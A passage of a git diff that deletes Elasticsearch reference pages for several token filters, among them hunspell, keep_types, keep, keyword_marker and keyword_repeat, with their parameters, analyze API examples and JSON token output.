-hunspell directory on the filesystem: `<path.config>/hunspell`. Each dictionary
-is expected to have its own directory, named after its associated language and
-locale (e.g., `pt_BR`, `en_GB`). This dictionary directory is expected to hold a
-single `.aff` and one or more `.dic` files, all of which will automatically be
-picked up. For example, assuming the default `<path.config>/hunspell` path
-is used, the following directory layout will define the `en_US` dictionary:
-
-[source,txt]
---------------------------------------------------
-- config
-    |-- hunspell
-    |    |-- en_US
-    |    |    |-- en_US.dic
-    |    |    |-- en_US.aff
---------------------------------------------------
-
-Each dictionary can be configured with one setting:
-
-[[analysis-hunspell-ignore-case-settings]]
-`ignore_case`::
-(Static, Boolean)
-If true, dictionary matching will be case insensitive. Defaults to `false`.
-
-This setting can be configured globally in `elasticsearch.yml` using
-`indices.analysis.hunspell.dictionary.ignore_case`.
-
-To configure the setting for a specific locale, use the
-`indices.analysis.hunspell.dictionary.<locale>.ignore_case` setting (e.g., for
-the `en_US` (American English) locale, the setting is
-`indices.analysis.hunspell.dictionary.en_US.ignore_case`).
-
-It is also possible to add `settings.yml` file under the dictionary
-directory which holds these settings. This overrides any other `ignore_case`
-settings defined in `elasticsearch.yml`.
-
-[[analysis-hunspell-tokenfilter-analyze-ex]]
-==== Example
-
-The following analyze API request uses the `hunspell` filter to stem 
-`the foxes jumping quickly` to `the fox jump quick`.
-
-The request specifies the `en_US` locale, meaning that the
-`.aff` and `.dic` files in the `<path.config>/hunspell/en_US` directory are used
-for the Hunspell dictionary.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "hunspell",
-      "locale": "en_US"
-    }
-  ],
-  "text": "the foxes jumping quickly"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ the, fox, jump, quick ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "fox",
-      "start_offset": 4,
-      "end_offset": 9,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "jump",
-      "start_offset": 10,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "quick",
-      "start_offset": 18,
-      "end_offset": 25,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-[[analysis-hunspell-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-[[analysis-hunspell-tokenfilter-dictionary-param]]
-`dictionary`::
-(Optional, string or array of strings)
-One or more `.dic` files (e.g, `en_US.dic, my_custom.dic`) to use for the
-Hunspell dictionary.
-+
-By default, the `hunspell` filter uses all `.dic` files in the
-`<path.config>/hunspell/<locale>` directory specified specified using the
-`lang`, `language`, or `locale` parameter. To use another directory, the
-directory's path must be registered using the
-<<indices-analysis-hunspell-dictionary-location,
-`indices.analysis.hunspell.dictionary.location`>> setting.
-
-`dedup`::
-(Optional, Boolean)
-If `true`, duplicate tokens are removed from the filter's output. Defaults to
-`true`.
-
-`lang`::
-(Required*, string)
-An alias for the <<analysis-hunspell-tokenfilter-locale-param,`locale`
-parameter>>.
-+
-If this parameter is not specified, the `language` or `locale` parameter is
-required.
-
-`language`::
-(Required*, string)
-An alias for the <<analysis-hunspell-tokenfilter-locale-param,`locale`
-parameter>>.
-+
-If this parameter is not specified, the `lang` or `locale` parameter is
-required.
-
-[[analysis-hunspell-tokenfilter-locale-param]]
-`locale`::
-(Required*, string)
-Locale directory used to specify the `.aff` and `.dic` files for a Hunspell
-dictionary. See <<analysis-hunspell-tokenfilter-dictionary-config>>.
-+
-If this parameter is not specified, the `lang` or `language` parameter is
-required.
-
-`longest_only`::
-(Optional, Boolean)
-If `true`, only the longest stemmed version of each token is
-included in the output. If `false`, all stemmed versions of the token are
-included. Defaults to `false`.
-
-[[analysis-hunspell-tokenfilter-analyzer-ex]]
-==== Customize and add to an analyzer
-
-To customize the `hunspell` filter, duplicate it to create the
-basis for a new custom token filter. You can modify the filter using its
-configurable parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `hunspell` filter, `my_en_US_dict_stemmer`, to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-The `my_en_US_dict_stemmer` filter uses a `locale` of `en_US`, meaning that the
-`.aff` and `.dic` files in the `<path.config>/hunspell/en_US` directory are
-used. The filter also includes a `dedup` argument of `false`, meaning that
-duplicate tokens added from the dictionary are not removed from the filter's
-output.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "en": {
-          "tokenizer": "standard",
-          "filter": [ "my_en_US_dict_stemmer" ]
-        }
-      },
-      "filter": {
-        "my_en_US_dict_stemmer": {
-          "type": "hunspell",
-          "locale": "en_US",
-          "dedup": false
-        }
-      }
-    }
-  }
-}
-----
-
-[[analysis-hunspell-tokenfilter-settings]]
-==== Settings
-
-In addition to the <<analysis-hunspell-ignore-case-settings,`ignore_case`
-settings>>, you can configure the following global settings for the `hunspell`
-filter using `elasticsearch.yml`:
-
-`indices.analysis.hunspell.dictionary.lazy`::
-(Static, Boolean)
-If `true`, the loading of Hunspell dictionaries is deferred until a dictionary
-is used. If `false`, the dictionary directory is checked for dictionaries when
-the node starts, and any dictionaries are automatically loaded. Defaults to
-`false`.
-
-[[indices-analysis-hunspell-dictionary-location]]
-`indices.analysis.hunspell.dictionary.location`::
-(Static, string)
-Path to a Hunspell dictionary directory. This path must be absolute or
-relative to the `config` location.
-+
-By default, the `<path.config>/hunspell` directory is used, as described in
-<<analysis-hunspell-tokenfilter-dictionary-config>>.
diff --git a/docs/reference/analysis/tokenfilters/hyphenation-decompounder-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/hyphenation-decompounder-tokenfilter.asciidoc
deleted file mode 100644
index eed66d81e91..00000000000
--- a/docs/reference/analysis/tokenfilters/hyphenation-decompounder-tokenfilter.asciidoc
+++ /dev/null
@@ -1,154 +0,0 @@
-[[analysis-hyp-decomp-tokenfilter]]
-=== Hyphenation decompounder token filter
-++++
-<titleabbrev>Hyphenation decompounder</titleabbrev>
-++++
-
-Uses XML-based hyphenation patterns to find potential subwords in compound
-words. These subwords are then checked against the specified word list. Subwords not
-in the list are excluded from the token output.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/compound/HyphenationCompoundWordTokenFilter.html[HyphenationCompoundWordTokenFilter],
-which was built for Germanic languages.
-
-[[analysis-hyp-decomp-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the
-`hyphenation_decompounder` filter to find subwords in `Kaffeetasse` based on
-German hyphenation patterns in the `analysis/hyphenation_patterns.xml` file. The
-filter then checks these subwords against a list of specified words: `kaffee`,
-`zucker`, and `tasse`.
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "hyphenation_decompounder",
-      "hyphenation_patterns_path": "analysis/hyphenation_patterns.xml",
-      "word_list": ["Kaffee", "zucker", "tasse"]
-    }
-  ],
-  "text": "Kaffeetasse"
-}
---------------------------------------------------
-// TEST[skip: requires a valid hyphenation_patterns.xml file for DE-DR]
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ Kaffeetasse, Kaffee, tasse ]
---------------------------------------------------
-
-[[analysis-hyp-decomp-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`hyphenation_patterns_path`::
-+
---
-(Required, string)
-Path to an Apache FOP (Formatting Objects Processor) XML hyphenation pattern file.
-
-This path must be absolute or relative to the `config` location. Only FOP v1.2
-compatible files are supported.
-
-For example FOP XML hyphenation pattern files, refer to:
-
-* http://offo.sourceforge.net/#FOP+XML+Hyphenation+Patterns[Objects For Formatting Objects (OFFO) Sourceforge project]
-* https://sourceforge.net/projects/offo/files/offo-hyphenation/1.2/offo-hyphenation_v1.2.zip/download[offo-hyphenation_v1.2.zip direct download] (v2.0 and above hyphenation pattern files are not supported)
---
-
-`word_list`::
-+
---
-(Required+++*+++, array of strings)
-A list of subwords. Subwords found using the hyphenation pattern but not in this
-list are excluded from the token output.
-
-You can use the <<analysis-dict-decomp-tokenfilter,`dictionary_decompounder`>>
-filter to test the quality of word lists before implementing them.
-
-Either this parameter or `word_list_path` must be specified.
---
-
-`word_list_path`::
-+
---
-(Required+++*+++, string)
-Path to a file containing a list of subwords. Subwords found using the
-hyphenation pattern but not in this list are excluded from the token output.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each token in the file must be separated by a line break.
-
-You can use the <<analysis-dict-decomp-tokenfilter,`dictionary_decompounder`>>
-filter to test the quality of word lists before implementing them.
-
-Either this parameter or `word_list` must be specified.
---
-
-`max_subword_size`::
-(Optional, integer)
-Maximum subword character length. Longer subword tokens are excluded from the
-output. Defaults to `15`.
-
-`min_subword_size`::
-(Optional, integer)
-Minimum subword character length. Shorter subword tokens are excluded from the
-output. Defaults to `2`.
-
-`min_word_size`::
-(Optional, integer)
-Minimum word character length. Shorter word tokens are excluded from the
-output. Defaults to `5`.
-
-`only_longest_match`::
-(Optional, Boolean)
-If `true`, only include the longest matching subword. Defaults to `false`.
-
-[[analysis-hyp-decomp-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `hyphenation_decompounder` filter, duplicate it to create the
-basis for a new custom token filter. You can modify the filter using its
-configurable parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `hyphenation_decompounder` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-The custom `hyphenation_decompounder` filter find subwords based on hyphenation
-patterns in the `analysis/hyphenation_patterns.xml` file. The filter then checks
-these subwords against the list of words specified in the
-`analysis/example_word_list.txt` file. Subwords longer than 22 characters are
-excluded from the token output.
-
-[source,console]
---------------------------------------------------
-PUT hyphenation_decompound_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_hyphenation_decompound": {
-          "tokenizer": "standard",
-          "filter": [ "22_char_hyphenation_decompound" ]
-        }
-      },
-      "filter": {
-        "22_char_hyphenation_decompound": {
-          "type": "hyphenation_decompounder",
-          "word_list_path": "analysis/example_word_list.txt",
-          "hyphenation_patterns_path": "analysis/hyphenation_patterns.xml",
-          "max_subword_size": 22
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/keep-types-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/keep-types-tokenfilter.asciidoc
deleted file mode 100644
index 9fca0275e80..00000000000
--- a/docs/reference/analysis/tokenfilters/keep-types-tokenfilter.asciidoc
+++ /dev/null
@@ -1,202 +0,0 @@
-[[analysis-keep-types-tokenfilter]]
-=== Keep types token filter
-++++
-<titleabbrev>Keep types</titleabbrev>
-++++
-
-Keeps or removes tokens of a specific type. For example, you can use this filter
-to change `3 quick foxes` to `quick foxes` by keeping only `<ALPHANUM>`
-(alphanumeric) tokens.
-
-[NOTE]
-.Token types
-====
-Token types are set by the <<analysis-tokenizers,tokenizer>> when converting
-characters to tokens. Token types can vary between tokenizers.
-
-For example, the <<analysis-standard-tokenizer,`standard`>> tokenizer can
-produce a variety of token types, including `<ALPHANUM>`, `<HANGUL>`, and
-`<NUM>`. Simpler analyzers, like the
-<<analysis-lowercase-tokenizer,`lowercase`>> tokenizer, only produce the `word`
-token type.
-
-Certain token filters can also add token types. For example, the 
-<<analysis-synonym-tokenfilter,`synonym`>> filter can add the `<SYNONYM>` token
-type.
-====
-
-This filter uses Lucene's
-{lucene-analysis-docs}/core/TypeTokenFilter.html[TypeTokenFilter].
-
-[[analysis-keep-types-tokenfilter-analyze-include-ex]]
-==== Include example
-
-The following <<indices-analyze,analyze API>> request uses the `keep_types`
-filter to keep only `<NUM>` (numeric) tokens from `1 quick fox 2 lazy dogs`.
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "keep_types",
-      "types": [ "<NUM>" ]
-    }
-  ],
-  "text": "1 quick fox 2 lazy dogs"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ 1, 2 ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "1",
-      "start_offset": 0,
-      "end_offset": 1,
-      "type": "<NUM>",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 12,
-      "end_offset": 13,
-      "type": "<NUM>",
-      "position": 3
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-keep-types-tokenfilter-analyze-exclude-ex]]
-==== Exclude example
-
-The following <<indices-analyze,analyze API>> request uses the `keep_types`
-filter to remove `<NUM>` tokens from `1 quick fox 2 lazy dogs`. Note the `mode`
-parameter is set to `exclude`.
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "keep_types",
-      "types": [ "<NUM>" ],
-      "mode": "exclude"
-    }
-  ],
-  "text": "1 quick fox 2 lazy dogs"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ quick, fox, lazy, dogs ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "quick",
-      "start_offset": 2,
-      "end_offset": 7,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "fox",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "lazy",
-      "start_offset": 14,
-      "end_offset": 18,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "dogs",
-      "start_offset": 19,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 5
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-keep-types-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`types`::
-(Required, array of strings)
-List of token types to keep or remove.
-
-`mode`::
-(Optional, string) 
-Indicates whether to keep or remove the specified token types.
-Valid values are:
-
-`include`:::
-(Default) Keep only the specified token types.
-
-`exclude`:::
-Remove the specified token types.
-
-[[analysis-keep-types-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `keep_types` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `keep_types` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>. The custom `keep_types` filter
-keeps only `<ALPHANUM>` (alphanumeric) tokens.
-
-[source,console]
---------------------------------------------------
-PUT keep_types_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [ "extract_alpha" ]
-        }
-      },
-      "filter": {
-        "extract_alpha": {
-          "type": "keep_types",
-          "types": [ "<ALPHANUM>" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/keep-words-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/keep-words-tokenfilter.asciidoc
deleted file mode 100644
index a0a9c08bf99..00000000000
--- a/docs/reference/analysis/tokenfilters/keep-words-tokenfilter.asciidoc
+++ /dev/null
@@ -1,146 +0,0 @@
-[[analysis-keep-words-tokenfilter]]
-=== Keep words token filter
-++++
-<titleabbrev>Keep words</titleabbrev>
-++++
-
-Keeps only tokens contained in a specified word list.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/KeepWordFilter.html[KeepWordFilter].
-
-[NOTE]
-====
-To remove a list of words from a token stream, use the
-<<analysis-stop-tokenfilter,`stop`>> filter.
-====
-
-[[analysis-keep-words-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `keep` filter to
-keep only the `fox` and `dog` tokens from
-`the quick fox jumps over the lazy dog`.
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "keep",
-      "keep_words": [ "dog", "elephant", "fox" ]
-    }
-  ],
-  "text": "the quick fox jumps over the lazy dog"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ fox, dog ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "fox",
-      "start_offset": 10,
-      "end_offset": 13,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "dog",
-      "start_offset": 34,
-      "end_offset": 37,
-      "type": "word",
-      "position": 7
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-keep-words-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`keep_words`::
-+
---
-(Required+++*+++, array of strings)
-List of words to keep. Only tokens that match words in this list are included in
-the output.
-
-Either this parameter or `keep_words_path` must be specified.
---
-
-`keep_words_path`::
-+
---
-(Required+++*+++, array of strings)
-Path to a file that contains a list of words to keep. Only tokens that match
-words in this list are included in the output.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each word in the file must be separated by a line break.
-
-Either this parameter or `keep_words` must be specified.
---
-
-`keep_words_case`::
-(Optional, Boolean)
-If `true`, lowercase all keep words. Defaults to `false`.
-
-[[analysis-keep-words-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `keep` filter, duplicate it to create the basis for a new
-custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses custom `keep` filters to configure two new
-<<analysis-custom-analyzer,custom analyzers>>:
-
-* `standard_keep_word_array`, which uses a custom `keep` filter with an inline
-  array of keep words
-* `standard_keep_word_file`, which uses a customer `keep` filter with a keep
-  words file
-
-[source,console]
---------------------------------------------------
-PUT keep_words_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_keep_word_array": {
-          "tokenizer": "standard",
-          "filter": [ "keep_word_array" ]
-        },
-        "standard_keep_word_file": {
-          "tokenizer": "standard",
-          "filter": [ "keep_word_file" ]
-        }
-      },
-      "filter": {
-        "keep_word_array": {
-          "type": "keep",
-          "keep_words": [ "one", "two", "three" ]
-        },
-        "keep_word_file": {
-          "type": "keep",
-          "keep_words_path": "analysis/example_word_list.txt"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc
deleted file mode 100644
index aab546326a9..00000000000
--- a/docs/reference/analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc
+++ /dev/null
@@ -1,389 +0,0 @@
-[[analysis-keyword-marker-tokenfilter]]
-=== Keyword marker token filter
-++++
-<titleabbrev>Keyword marker</titleabbrev>
-++++
-
-Marks specified tokens as keywords, which are not stemmed.
-
-The `keyword_marker` filter assigns specified tokens a `keyword` attribute of
-`true`. Stemmer token filters, such as
-<<analysis-stemmer-tokenfilter,`stemmer`>> or
-<<analysis-porterstem-tokenfilter,`porter_stem`>>, skip tokens with a `keyword`
-attribute of `true`.
-
-[IMPORTANT]
-====
-To work properly, the `keyword_marker` filter must be listed before any stemmer
-token filters in the <<analysis-custom-analyzer,analyzer configuration>>.
-====
-
-The `keyword_marker` filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/KeywordMarkerFilter.html[KeywordMarkerFilter].
-
-[[analysis-keyword-marker-tokenfilter-analyze-ex]]
-==== Example
-
-To see how the `keyword_marker` filter works, you first need to produce a token
-stream containing stemmed tokens.
-
-The following <<indices-analyze,analyze API>> request uses the
-<<analysis-stemmer-tokenfilter,`stemmer`>> filter to create stemmed tokens for
-`fox running and jumping`.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [ "stemmer" ],
-  "text": "fox running and jumping"
-}
-----
-
-The request produces the following tokens. Note that `running` was stemmed to
-`run` and `jumping` was stemmed to `jump`.
-
-[source,text]
-----
-[ fox, run, and, jump ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "fox",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "run",
-      "start_offset": 4,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "and",
-      "start_offset": 12,
-      "end_offset": 15,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "jump",
-      "start_offset": 16,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-To prevent `jumping` from being stemmed, add the `keyword_marker` filter before
-the `stemmer` filter in the previous analyze API request. Specify `jumping` in
-the `keywords` parameter of the `keyword_marker` filter.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "keyword_marker",
-      "keywords": [ "jumping" ]
-    },
-    "stemmer"
-  ],
-  "text": "fox running and jumping"
-}
-----
-
-The request produces the following tokens. `running` is still stemmed to `run`,
-but `jumping` is not stemmed.
-
-[source,text]
-----
-[ fox, run, and, jumping ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "fox",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "run",
-      "start_offset": 4,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "and",
-      "start_offset": 12,
-      "end_offset": 15,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "jumping",
-      "start_offset": 16,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-To see the `keyword` attribute for these tokens, add the following arguments to
-the analyze API request:
-
-* `explain`: `true`
-* `attributes`: `keyword`
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "keyword_marker",
-      "keywords": [ "jumping" ]
-    },
-    "stemmer"
-  ],
-  "text": "fox running and jumping",
-  "explain": true,
-  "attributes": "keyword"
-}
-----
-
-The API returns the following response. Note the `jumping` token has a
-`keyword` attribute of `true`.
-
-[source,console-result]
-----
-{
-  "detail": {
-    "custom_analyzer": true,
-    "charfilters": [],
-    "tokenizer": {
-      "name": "whitespace",
-      "tokens": [
-        {
-          "token": "fox",
-          "start_offset": 0,
-          "end_offset": 3,
-          "type": "word",
-          "position": 0
-        },
-        {
-          "token": "running",
-          "start_offset": 4,
-          "end_offset": 11,
-          "type": "word",
-          "position": 1
-        },
-        {
-          "token": "and",
-          "start_offset": 12,
-          "end_offset": 15,
-          "type": "word",
-          "position": 2
-        },
-        {
-          "token": "jumping",
-          "start_offset": 16,
-          "end_offset": 23,
-          "type": "word",
-          "position": 3
-        }
-      ]
-    },
-    "tokenfilters": [
-      {
-        "name": "__anonymous__keyword_marker",
-        "tokens": [
-          {
-            "token": "fox",
-            "start_offset": 0,
-            "end_offset": 3,
-            "type": "word",
-            "position": 0,
-            "keyword": false
-          },
-          {
-            "token": "running",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": false
-          },
-          {
-            "token": "and",
-            "start_offset": 12,
-            "end_offset": 15,
-            "type": "word",
-            "position": 2,
-            "keyword": false
-          },
-          {
-            "token": "jumping",
-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": true
-          }
-        ]
-      },
-      {
-        "name": "stemmer",
-        "tokens": [
-          {
-            "token": "fox",
-            "start_offset": 0,
-            "end_offset": 3,
-            "type": "word",
-            "position": 0,
-            "keyword": false
-          },
-          {
-            "token": "run",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": false
-          },
-          {
-            "token": "and",
-            "start_offset": 12,
-            "end_offset": 15,
-            "type": "word",
-            "position": 2,
-            "keyword": false
-          },
-          {
-            "token": "jumping",
-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": true
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-
-[[analysis-keyword-marker-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`ignore_case`::
-(Optional, Boolean)
-If `true`, matching for the `keywords` and `keywords_path` parameters ignores
-letter case. Defaults to `false`.
-
-`keywords`::
-(Required*, array of strings)
-Array of keywords. Tokens that match these keywords are not stemmed.
-+
-This parameter, `keywords_path`, or `keywords_pattern` must be specified.
-You cannot specify this parameter and `keywords_pattern`.
-
-`keywords_path`::
-+
---
-(Required*, string)
-Path to a file that contains a list of keywords. Tokens that match these
-keywords are not stemmed.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each word in the file must be separated by a line break.
-
-This parameter, `keywords`, or `keywords_pattern` must be specified.
-You cannot specify this parameter and `keywords_pattern`.
---
-
-`keywords_pattern`::
-+
---
-(Required*, string)
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java
-regular expression] used to match tokens. Tokens that match this expression are
-marked as keywords and not stemmed.
-
-This parameter, `keywords`, or `keywords_path` must be specified. You
-cannot specify this parameter and `keywords` or `keywords_pattern`.
-
-[WARNING]
-====
-Poorly written regular expressions can cause {es} to run slowly or result
-in stack overflow errors, causing the running node to suddenly exit.
-====
---
-
-[[analysis-keyword-marker-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `keyword_marker` filter, duplicate it to create the basis for a
-new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `keyword_marker` filter and the `porter_stem`
-filter to configure a new <<analysis-custom-analyzer,custom analyzer>>.
-
-The custom `keyword_marker` filter marks tokens specified in the
-`analysis/example_word_list.txt` file as keywords. The `porter_stem` filter does
-not stem these tokens.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_analyzer": {
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": [
-            "my_custom_keyword_marker_filter",
-            "porter_stem"
-          ]
-        }
-      },
-      "filter": {
-        "my_custom_keyword_marker_filter": {
-          "type": "keyword_marker",
-          "keywords_path": "analysis/example_word_list.txt"
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc
deleted file mode 100644
index a68eb4aab4f..00000000000
--- a/docs/reference/analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc
+++ /dev/null
@@ -1,402 +0,0 @@
-[[analysis-keyword-repeat-tokenfilter]]
-=== Keyword repeat token filter
-++++
-<titleabbrev>Keyword repeat</titleabbrev>
-++++
-
-Outputs a keyword version of each token in a stream. These keyword tokens are
-not stemmed.
-
-The `keyword_repeat` filter assigns keyword tokens a `keyword` attribute of
-`true`. Stemmer token filters, such as
-<<analysis-stemmer-tokenfilter,`stemmer`>> or
-<<analysis-porterstem-tokenfilter,`porter_stem`>>, skip tokens with a `keyword`
-attribute of `true`.
-
-You can use the `keyword_repeat` filter with a stemmer token filter to output a
-stemmed and unstemmed version of each token in a stream.
-
-[IMPORTANT]
-====
-To work properly, the `keyword_repeat` filter must be listed before any stemmer
-token filters in the <<analysis-custom-analyzer,analyzer configuration>>.
-
-Stemming does not affect all tokens. This means streams could contain duplicate
-tokens in the same position, even after stemming.
-
-To remove these duplicate tokens, add the
-<<analysis-remove-duplicates-tokenfilter,`remove_duplicates`>> filter after the
-stemmer filter in the analyzer configuration.
-====
-
-The `keyword_repeat` filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/KeywordRepeatFilter.html[KeywordRepeatFilter].
-
-[[analysis-keyword-repeat-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `keyword_repeat`
-filter to output a keyword and non-keyword version of each token in 
-`fox running and jumping`.
-
-To return the `keyword` attribute for these tokens, the analyze API request also
-includes the following arguments:
-
-* `explain`:  `true`
-* `attributes`: `keyword`
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    "keyword_repeat"
-  ],
-  "text": "fox running and jumping",
-  "explain": true,
-  "attributes": "keyword"
-}
-----
-
-The API returns the following response. Note that one version of each token has
-a `keyword` attribute of `true`.
-
-.**Response**
-[%collapsible]
-====
-[source,console-result]
-----
-{
-  "detail": {
-    "custom_analyzer": true,
-    "charfilters": [],
-    "tokenizer": ...,
-    "tokenfilters": [
-      {
-        "name": "keyword_repeat",
-        "tokens": [
-          {
-            "token": "fox",
-            "start_offset": 0,
-            "end_offset": 3,
-            "type": "word",
-            "position": 0,
-            "keyword": true
-          },
-          {
-            "token": "fox",
-            "start_offset": 0,
-            "end_offset": 3,
-            "type": "word",
-            "position": 0,
-            "keyword": false
-          },
-          {
-            "token": "running",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": true
-          },
-          {
-            "token": "running",
-            "start_offset": 4,
-            "end_offset": 11,
-            "type": "word",
-            "position": 1,
-            "keyword": false
-          },
-          {
-            "token": "and",
-            "start_offset": 12,
-            "end_offset": 15,
-            "type": "word",
-            "position": 2,
-            "keyword": true
-          },
-          {
-            "token": "and",
-            "start_offset": 12,
-            "end_offset": 15,
-            "type": "word",
-            "position": 2,
-            "keyword": false
-          },
-          {
-            "token": "jumping",
-            "start_offset": 16,
-            "end_offset": 23,
-            "type": "word",
-            "position": 3,
-            "keyword": true
-          },
-          {
-            "token": "jumping",
